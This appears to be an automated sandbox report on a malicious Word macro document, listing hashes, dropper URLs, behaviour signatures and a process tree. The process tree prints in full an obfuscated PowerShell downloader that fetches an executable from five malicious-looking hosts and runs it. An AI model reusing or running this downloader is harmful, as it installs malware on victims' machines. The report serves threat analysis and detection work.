Analysis

  • max time kernel
    143s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-08-2024 08:10

General

  • Target

    c876378058888539bd55e0e04483c71e_JaffaCakes118.doc

  • Size

    81KB

  • MD5

    c876378058888539bd55e0e04483c71e

  • SHA1

    07b44b58f4cf4357ea5dd6ab49bd62f4857f1ff4

  • SHA256

    356f81da93971113ef694fe45b1cd40bd6c6cb74b2be7a60868a9e305fc57c4e

  • SHA512

    6e20ff2793ecb5ab3ebecc178cb743553fd235cb01367103b74397ea84059842b5dddc466af171fb269fe384177388ac01bf0bdf63bc9671b712e5601f36fc32

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c876378058888539bd55e0e04483c71e_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1376
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3464

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C9DEE503.wmf

      Filesize

      494B

      MD5

      abba986c4b960f934f155f43f628904c

      SHA1

      449b96f4734218ada56e4742ea42d4a91860f5a7

      SHA256

      f4bef88604baec0888894c593c12f50dc1b2497b688f1b3e0c9ee105e1cebe74

      SHA512

      2b8f895d738844e3cc06e87f4ff864f9beea7ca756bea489914633f7e514ecd68a6cec009816000637aa659cb40f60863e17eb89c20944f273ff74c8c0912a88

    • C:\Users\Admin\AppData\Local\Temp\TCDBC50.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ptrqehl.ojk.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/3208-15-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-14-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-8-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-7-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-9-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-10-0x00007FFD8AD50000-0x00007FFD8AD60000-memory.dmp

      Filesize

      64KB

    • memory/3208-11-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-12-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-13-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-18-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-20-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-19-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-17-0x00007FFD8AD50000-0x00007FFD8AD60000-memory.dmp

      Filesize

      64KB

    • memory/3208-16-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-0-0x00007FFDCD3AD000-0x00007FFDCD3AE000-memory.dmp

      Filesize

      4KB

    • memory/3208-1-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-6-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-2-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-4-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-589-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-5-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-74-0x00007FFDCD3AD000-0x00007FFDCD3AE000-memory.dmp

      Filesize

      4KB

    • memory/3208-75-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-76-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-80-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-79-0x00007FFDCD310000-0x00007FFDCD505000-memory.dmp

      Filesize

      2.0MB

    • memory/3208-3-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-586-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-585-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-588-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3208-587-0x00007FFD8D390000-0x00007FFD8D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3464-65-0x0000025029740000-0x0000025029762000-memory.dmp

      Filesize

      136KB